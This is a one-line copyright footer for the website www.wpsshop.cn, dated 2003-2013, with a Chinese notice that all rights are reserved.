Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。